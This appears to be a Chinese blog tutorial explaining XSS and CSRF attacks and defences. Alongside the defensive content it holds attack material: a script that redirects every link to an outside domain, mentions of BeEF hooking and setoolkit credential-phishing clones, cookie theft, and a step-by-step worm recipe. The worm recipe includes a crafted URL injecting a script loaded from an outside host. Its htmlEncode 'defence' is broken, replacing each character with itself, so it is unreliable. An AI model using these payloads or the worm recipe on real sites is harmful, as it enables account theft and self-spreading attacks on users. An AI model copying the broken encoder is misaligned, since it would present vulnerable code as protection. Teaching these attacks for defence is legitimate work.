XSS 和 CSRF 的理解和防御手段

228 阅读6分钟

前言:XSS漏洞是Web应用程序中最常见的漏洞之一, 虽然目前主流框架对 xss 和 CSRF 都做了防御处理,但了解他们并在代码中尽量规避这样的问题也是很有必要的

1. XSS(Cross-Site Script:跨站脚本)

关键词: 脚本

  1. 黑客往网页里注入恶意脚本代码
  2. 当用户访问时获取到包含恶意代码的网页
  3. 通过恶意脚本,黑客可以获取和控制用户信息

常见注入脚本方式有一下几种类型:

1.1 反射型(非持久型)XSS

诱导用户点击恶意链接来造成一次性攻击

  1. 黑客把带有恶意脚本代码参数的URL地址发送给用户
  2. 用户点击此链接
  3. 服务器端获取请求参数并且直接使用,服务器反射回结果页面或者直接直接执行攻击脚本代码
<script>
window.onload = function() {
var link=document.getElementsByTagName("a");
for(j = 0; j < link.length; j++) {
 link[j].href="http://666666.vip";}
}
</script>
// 例如被执行该代码后,所以A标签都是跳转到目标地址了
  1. 还有一些专业的劫持工具例如:使用kali中的 beef 劫持用户浏览器
// 如果浏览器访问了有勾子(由 js)的页面, 就会被 hook,
// 勾连的浏览器会执行初始代码返回一些信息,
// 接着 zombie 会每隔一段时间(默认为 1 秒)就会向 BeEF 服务器发送一个请求,询问是否有新的攻击代码需要执行。

反射型XSS攻击是一次性的,必须要通过用户点击链接才能发起; 一些浏览器如Chrome其内置了一些XSS过滤器,可以防止大部分反射型XSS攻击; 反射型XSS其实就是服务器没有对恶意的用户输入进行安全处理就直接反射响应内容,导致恶意代码在浏览器中执行的一种XSS漏洞;

1.2 存储型(持久型)XSS

黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击

  1. 黑客将恶意脚本代码上传或存储到漏洞服务器
  2. 服务器把恶意脚本保存到服务器
  3. 当正常客户访问服务器时,服务器会读取恶意数据并且直接使用
  4. 服务器会返回含有恶意脚本的页面

简单使用用例: 使用setoolkit克隆站点,(按这个工具的使用说明去操作);例如一个需要输入用户密码的网站,将该克隆的站点发送给别人,别人输入用户密码后,就可以获得他的账号了。

1.3 payload

实现XSS攻击的恶意脚本被称为 XSS payload

窃取用户的Cookie document.cookie 识别用户浏览器 navigator.userAgent 伪造请求 GET POST请求 XSS钓鱼 通过XSS向网页上注入钓鱼链接,让用户访问假冒的网站

1.5 如何防御XSS

1. 给cookie设置httpOnly属性 脚本无法读取该Cookie,自己也不能用,非根本解决XSS

2. Web相关编码和转义

2.1 URL 编码

  • 一般来说,URL只能使用英文字母(a-zA-Z)、数字(0-9)、-_.~4个特殊字符以及所有(;,/?:@&=+$#)保留字符。
  • 如果使用了一些其他文字和特殊字符,则需要通过编码的方式来进行表示
  • encodeURI encodeURI是用来编码URI的,最常见的就是编码一个 URL。encodeURI 会将需要编码的字符转换为 UTF-8 的格式。对于保留字符(;,/?:@&=+$#),以及非转义字符(字母数字以及 -_.!~*'())不会进行转义。
  • encodeURI 不转义&、?和= encodeURI(url3);//a.com?name=?&
  • encodeURIComponent 是用来编码 URI 参数的,它会跳过非转义字符(字母数字以及-_.!~*'())。但会转义 URL的 保留字符
  • 所有完整编码一个URL字符串需要encodeURI和encodeURIComponent联合使用

2.2 HTML 编码

在 HTML 中,某些字符是预留的,比如不能使用小于号(),这是因为浏览器会误认为它们是标签。如果希望正确地显示预留字符,我们必须在 HTML 源代码中使用字符实体(character entities) HTML 编码分为:

// 编码函数
function htmlEncode(str) {
  return String(str)
    .replace(/&/g, '&')
    .replace(/"/g, '"')
    .replace(/'/g, '&#39;')
    .replace(/</g, '<')
    .replace(/>/g, '>');
}

2.3 Javascript 转义

javaScript 中有些字符有特殊用途,如果字符串中想使用这些字符原来的含义,需要使用反斜杠对这些特殊符号进行转义。我们称之为 Javascript编码 对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)

// 想使用:zfpx\"
let str = "zfpx\"";

2.4 输入检查

  • 永远不要相信用户的输入
  • 用户格式判断 白名单
  • 过滤危险字符 去除

2.5 URL解析环境

使用url之前做urlencode(), 进行url编码处理;

2. CSRF(Cross Site Request Forgery: 跨站请求伪造)

  1. 用户A登录某银行网站,登录成功后会设置cookie
  2. 黑客诱导用户A登录到黑客的站点,然后会返回一个页面
  3. 用户访问这个页面时,这个页面会伪造一个转账请求到银行网站

2.1 防御

  • 用户不知情 验证码 影响用户体验
  • 跨站请求 使用refer验证 不可靠
  • 参数伪造 token 最主流的防御CSRF

2.2.1 验证码

增加人机交互,不再多说

2.2.2 referer 验证

    if (/^https?:\/\/localhost:3000/.test(referer)) {

    } else {
        res.json({ code: 1, error: 'referer不正确' });
    }

2.2.3 token验证

目前主流的框架为了预防这种攻击,都是采用TOKEN机制。也就是说当用户与服务端进行交互的时候,传递一个加密字符串到服务端,服务端来检测这个字符串是否是合法的,如果不合法就有可能是黑客伪造用户信息进行请求的。

那么这个加密字符串是怎么生成的那?加密字符串是由后端程序生成,然后赋值到页面之上。一般是由当前控制器,方法,密钥,时间组合在一起加密而成。传递到服务端以后,服务端重新生成一遍,如果一致就是合法的,否则就是不合法的。

2.2.4 xss+csrf(蠕虫)

不断传播的xss+csrf的攻击

例如:当年的新浪微博蠕虫,就是一个典型的例子: 首先蠕虫需要xss+csrf相互结合,才能起到一个最终蠕虫病毒的效果; 1. 发表了一个问题,是用的post形式来进行一个数据传输,将其改为一个get形式,最后得到了一个连接地址,只要别人点击了这个链接,就会自动发送信息。 2. 这样一个csrf链接,我们就构造好了,现在我们需要一个xss漏洞来辅助我们、我们将其插入到内容中,这样别人一浏览我们的问题,就会自动发表一个提问,我们可以将提问的内容改为csrf+xss的集合体。 3. 我们使用段链接将这段url缩短(csrf的) 4. 然后我们将这段xss代码插入到csrf内容中

http://www.chinacycc.com/Home/Questions/submitUserQuestion/iffromuserhome/true.html?professionsListSelect=37&questionTitleTxt=1&questionBodyTxtarea=<script[/url] src=http://980.so/44lK9o></script>&jifenTxt=0&hdnTeacherId=0&hdnProfessionId=37&hdnCategoryId=1
5. 在将楼上这段链接,进行缩短
6. 接着我们将缩短后的url再次变为xss脚本
7. 这个时候将这段代码插入到内容中,一段蠕虫繁衍就开始了。到时候管理员删都删不完。第一个人发表,第二个人看了,第二个发表。跟传销差不多

所以预防这种攻击最根本的还是要尽量杜绝xss 和csrf漏洞。